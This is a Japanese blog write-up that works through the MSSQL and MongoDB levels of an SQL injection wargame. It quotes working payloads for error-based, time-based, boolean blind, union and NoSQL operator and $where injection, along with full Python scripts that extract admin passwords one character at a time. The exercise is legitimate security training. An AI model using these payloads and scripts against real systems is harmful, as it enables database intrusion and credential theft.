うん?様子がおかしい。どうやら45までで数値と思われているみたい。
query : select * from prob_revenant where id='admin' and pw='' group by id,pw,"45a88487"--'
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.13477a35' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
さらに
query : select * from prob_revenant where id='admin' and pw='' group by id,pw,"45a88487","13477a35"--'
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.9604b0c8' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
5つ目のカラム名は9604b0c8
っぽいぞ!
select * from prob_revenant where id='admin' and pw='' or id='admin' and "9604b0c8"=1--'
これを入れてみると
query : select * from prob_revenant where id='admin' and pw='' or id='admin' and "9604b0c8"=1--'
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'aa68a4b3fb327dee07f868450f7e1183' to data type int.
長いの出てきた!これをpwに入れればクリアー!!!!
yeti
query : select id from prob_yeti where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = mssql_connect("yeti"); if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; sqlsrv_query($db,$query); $query = "select pw from prob_yeti where id='admin'"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['pw'] === $_GET['pw']) solve("yeti"); highlight_file(__FILE__); ?>
今度はerrorを表示してくれなくなったぞ。adminのpwがわかればクリア。
Time-basedが使えそうかな。MSSQLのTime-Basedはここが参考になりそう。PayloadsAllTheThings/MSSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub
select id from prob_yeti where id='' and pw=''if id='admin' and len(pw)=x waitfor delay '0:0:3' else 1--'
こんな感じでどうだろう。動作するか検証してみる。
select id from prob_yeti where id='' and pw=''if 1=1 waitfor delay '0:0:3' else 1--'
うーん、発動しない。試行錯誤の上、else文の中もちゃんと処理を書くと発動した。
select id from prob_yeti where id='' and pw=''if 1=1 waitfor delay '0:0:3' else waitfor delay '0:0:0'--'
これで3秒waitが入る。MSSQLは型に厳しいんだな。
一応やりたい攻撃のsql文も手動で動作検証。
select id from prob_yeti where id='' and pw=''if id='admin' and len(pw)=1 waitfor delay '0:0:0' else waitfor delay '0:0:3'--'
これも動作しない。これもidがvarchar,lenが数値として認識されるからかな。1
を"1"
にしても動作は変わらず。MSSQL難しい…。
そういえばMSSQLの問題に入ってから、Table名が禁止されていない。下記のようにクエリをまるっとかけそう。
select id from prob_yeti where id='' and pw=''if ((select len(pw) from prob_yeti where id='admin')=1) waitfor delay '0:0:0' else waitfor delay '0:0:3'--'
ヨシ!発動した。このクエリで行こう。
pwのほうは、PayloadsAllTheThings/MSSQL Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub これを参考に
select id from prob_yeti where id='' and pw=''if ((select pw from prob_yeti where id='admin') like 'x%') waitfor delay '0:0:0' else waitfor delay '0:0:3'--'
ヨシ、これも行けそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse import time url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) start = time.time() res = requests.get(attack_url, headers=headers) #print(res.text) return time.time() - start def create_length_query(length): query = "'if ((select len(pw) from prob_yeti where id='admin')=" + str(length) + ") waitfor delay '0:0:3' else waitfor delay '0:0:0'--" return query def create_pass_query(pw): query = "'if ((select pw from prob_yeti where id='admin') like '" + pw + "%') waitfor delay '0:0:3' else waitfor delay '0:0:0'--" return query def check_result(t): if t < 3: return False return True #################### ### main ### #################### # find pw length for i in range(100): query = create_length_query(i) t = attack(query) if check_result(t): length = i break print('pw length: ' + str(length)) # find pw fix_pw = "" for _ in range(length): for c in candidates: try_pw = fix_pw + str(c) print(try_pw) query = create_pass_query(try_pw) t = attack(query) if check_result(t): fix_pw += c break print("pw: " + fix_pw)
くりあー!🙌
mummy
query : select
<?php include "./config.php"; login_chk(); $db = mssql_connect("mummy"); if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~"); for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql"); $query = "select".$_GET['query']; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result[0]) echo "<h2>Hello anonymous</h2>"; $query = "select pw from prob_mummy where id='admin'"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['pw'] === $_GET['pw']) solve("mummy"); highlight_file(__FILE__); ?>
この問題もMSSQL。
asciiで32以下の文字列を使うと怒られるみたい。whitespace防止の様子。/**/
も使えない。
何らかの情報が取れれば Hello anonymous を表示してくれる。adminのpwをゲットすればゴール。
ホワイトスペースなしのBlindInjection(Boolean-base)かな。
whitespaceの代替に%A0
が使えるかもしれないので試してみる。
select pw from prob_mummy
?query=%A0pw%A0from%A0prob_mummy
うーん、使えないみたい。残念。ググってもこれ以上出てこず。他の方のwriteupを見ると、'
と[]
が使えるみたい。
データベース識別子 - SQL Server | Microsoft Docs
select'pw'from[prob_mummy]where[id]='admin'
おー!Hello anonymous が表示された!あとはpwの長さを求めて、前から中ててくいつものパターン。
()
が使えないので、長さは諦めていきなりpw探しに行きます。
select pw from prob_mummy where id='admin' and pw like 'x%'
↓
select[pw]from[prob_mummy]where[id]='admin'and[pw]like'x%'
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?query=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(pw): query = "'pw'from[prob_mummy]where[id]='admin'and[pw]like'" + pw + "%'" return query def check_result(res): if 'Hello anonymous' in res.text: return True return False #################### ### main ### #################### # find pw fixed = "" is_end = False while not is_end: for c in candidates: try_pw = fixed + str(c) print(try_pw) query = create_pass_query(try_pw) res = attack(query) if check_result(res): fixed += c break if c == '#': is_end = True print("result: " + fixed)
kraken
query : select id from member where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = mssql_connect("kraken"); if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['id']) echo "<h2>{$result['id']}</h2>"; if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database. highlight_file(__FILE__); ?>
1つ目のクエリ結果のresult['id']
を表示してくれる。
flag_{$hash}
テーブルにあるkrakenFlag
を発見できればクリア。
MSSQLのテーブル一覧取得方法は、
select table_name from information_schema.tables
で取れるみたい。だけどinformation
が封じられているので使えなさそう…。
select name from sys.Tables;
select TOP 1 name From Tablename;
も使えそうだけど、;
が使えないのか…。
手元で試してみると、手元環境だと;
が要らないな。使えるかもしれない。
select id from member where id=''union select name from sys.Tables--' and pw=''
お!これを入れると "a_dummy_table" が出てきた!やった!
これで、flag_{$hash}
なtableを当てに行くと良さそう。
でも、ちょっと調べてみるとMySQLのときみたいなLIMIT 1,2
みたいな書き方ができないんだな。
上にも書いたようにTOP
を使うと、上から○番目までを取ってくるのはできるけど、配列になっちゃう。
select id from member where id=''union select TOP 1 name from sys.Tables--' and pw=''
TOP 1 だと member が返ってくる。
select id from member where id=''union select TOP 1 name from sys.Tables where name like 'flag_%'--' and pw=''
出た!flag_ccdfe62b だそうです!やったー!!!
次はカラム名の取得。
SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('dbo.yourTableName')
で取れるらしいのでやってみます。配列が返ってきそうだけど、とりあえずなんか返してもらおう。
select id from member where id=''union select name from sys.columns where object_id=OBJECT_ID('flag_ccdfe62b')--' and pw=''
いやー!出たね!嬉しい!flag_ab15b600 だそうです。あとはこのレコードを取ってくるだけ。
select id from member where id=''union select flag_ab15b600 from flag_ccdfe62b--' and pw=''
出た!FLAG{a0819fc56beae985bac7d175c974cd27}
これをpw
に入れて送ればクリア!めっちゃ楽しいな₍₍ (ง ˙ω˙)ว ⁾⁾
cerberus
query : {"id":null,"pw":null}
<?php include "./config.php"; login_chk(); $db = mongodb_connect(); $query = array( "id" => $_GET['id'], "pw" => $_GET['pw'] ); echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>"; $result = mongodb_fetch_array($db->prob_cerberus->find($query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; if($result['id'] === "admin") solve("cerberus"); highlight_file(__FILE__); ?>
おおお!MongoDBだ!ついにNoSQL!
お世話になっているサイトだと PayloadsAllTheThings/NoSQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
ここにペイロードがいくつか載っている。
"
や\
を入れてみると、エスケープされてしまうみたい。
NoSQLといえば、無理やり変数を配列にして突っ込む、と言うイメージがあるのでやってみる。
?id=admin&pw[$ne]=test
わ!クリアしちゃった!やったー!
siren
query : {"id":null,"pw":null}
<?php include "./config.php"; login_chk(); $db = mongodb_connect(); $query = array( "id" => $_GET['id'], "pw" => $_GET['pw'] ); echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>"; $result = mongodb_fetch_array($db->prob_siren->find($query)); if($result['id']) echo "<h2>Hello User</h2>"; $query = array("id" => "admin"); $result = mongodb_fetch_array($db->prob_siren->find($query)); if($result['pw'] === $_GET['pw']) solve("siren"); highlight_file(__FILE__); ?>
今回はadminのpwをゲットする必要がある。取ってきたidは表示してくれない。BlindInjection@NoSQLだ。
Extract data information の例を使ってみる。
?id=admin&pw[$regex]=x.*
こんな感じでできないかしら。
?id=admin&pw[$regex]=.*
これを入れて Hello User が表示された。想定通り。適当に
?id=admin&pw[$regex]=1.*
と入れたら、やっぱり Hello User が表示された。あれ?刺さってない?
?id=admin&pw[$regex]=10.*
にしたら表示されなくなったので、偶然1文字目が1だったみたい。ヨシ、行けそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","!","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?id=admin&pw[$regex]=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(pw): query = pw + ".*" return query def check_result(res): if 'Hello User' in res.text: return True return False #################### ### main ### #################### # find pw fixed = "" is_end = False while not is_end: for c in candidates: try_pw = fixed + str(c) print(try_pw) query = create_pass_query(try_pw) res = attack(query) if check_result(res): fixed += c break if c == '#': is_end = True print("result: " + fixed)
incubus
query : {"$where":"function(){return obj.id==''&&obj.pw=='';}"}
<?php include "./config.php"; login_chk(); $db = mongodb_connect(); if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~"); $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}"); echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>"; $result = mongodb_fetch_array($db->prob_incubus->find($query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; $query = array("id" => "admin"); $result = mongodb_fetch_array($db->prob_incubus->find($query)); if($result['pw'] === $_GET['pw']) solve("incubus"); highlight_file(__FILE__); ?>
Mongo。クエリにコードが書いてあるぞ…!
取得した id を表示してくれる。adminのpwがわかればクリア。
whereの使い方。javaコードを埋め込むのか。java code injectionか(適当)。
javaのコメントアウトは//
か/**/
か<!---->
。/
がエスケープされてしまうので、最後のを使う。ちゃんと閉じないとクエリが成立しないので、下記のようなクエリを送る。
?id=admin<!--&pw=-->%27||%271==1
function(){return obj.id=='admin<!--'&&obj.pw=='-->'||'1==1';}
こんなクエリが送られ、javasciptとしては
function(){return obj.id=='admin'||'1==1';}
として処理されるはず!
やった!Hello guestが出ましたー!
下みたいな感じで、pwの前方一致を見れるかなーと思ったんですけど。
?id=admin<!--&pw=-->'&& obj.pw.match(/.*/)//+%00
?id=admin<!--&pw=-->'&& !obj.pw.indexOf('a')
(
が使えないので弾かれちゃう。
?id=admin<!--&pw=-->'&&obj.pw[0]=='a
お、これは使えそう。出てきたクエリは
query : {"$where":"function(){return obj.id=='admin'&&obj.pw[0]=='a';}"}
これをJsonBeautifireに突っ込むと、ちゃんと正しいjsonになってそう。 スクリプトを書いてみよう。
…書いてみたけど刺さらない。
あれかな。htmlの表示で<!---->
はコメントアウトされて見えてないけど、確認してみたらしっかり返ってきているので、コメントとして扱われてないっぽいな。
?id=admin'&&obj.pw[0]=='a';'
idだけで何とかやってみて、pwの前にクエリを閉じちゃうパターン。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","!","#"] headers= {'Cookie':'PHPSESSID='+cookie} def attack(attack_sql): attack_url = url + '?id=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(pw): query = "admin'&&obj.pw[" + str(len(pw)-1) + "]=='" + pw[-1] + "';'" return query def check_result(res): if 'Hello admin' in res.text: return True return False #################### ### main ### #################### # find pw fixed = "" is_end = False while not is_end: for c in candidates: try_pass = fixed + str(c) print(try_pass) query = create_pass_query(try_pass) res = attack(query) if check_result(res): fixed += c break if c == '#': is_end = True print("result: " + fixed)
AllClear
ということで、現在公開されている問題は全部クリアー!
とっても楽しかった〜₍₍ (ง ˙ω˙)ว ⁾⁾
The Load of the SQLi、ついにAllClear\(*ˊᗜˋ*)/
— kusuwada (@kusuwada) 2020年8月21日
100位取り逃したのちょっと悔しい。
めっちゃ勉強になったし、途中で "解ける、解けるぞ!" な所があったりして、モチベーション保ったまま完走。まとまった時間取れなかったけど、1日15分~1時間ずつちょこちょこやってた。
よーし、もう一周するぞー💪 https://t.co/8b6geoaMxp pic.twitter.com/qObQL9KnLb
公開後も時々問題が追加されているようなので、また追加されたら解いてみたい。
ちなみに、MySQLパートだけ2周やりました。同じ問題だから当たり前ではあるけど、解けるようになった問題が多くて感動した!
特に、1周目は他のwriteupを見ても結局解けずじまい(答えをカンニングしてとりあえず先に進んだ)だった問題があったんだけど、これが解けるようになってて嬉しい。引き出しが増えたということかな(*ˊᗜˋ*)/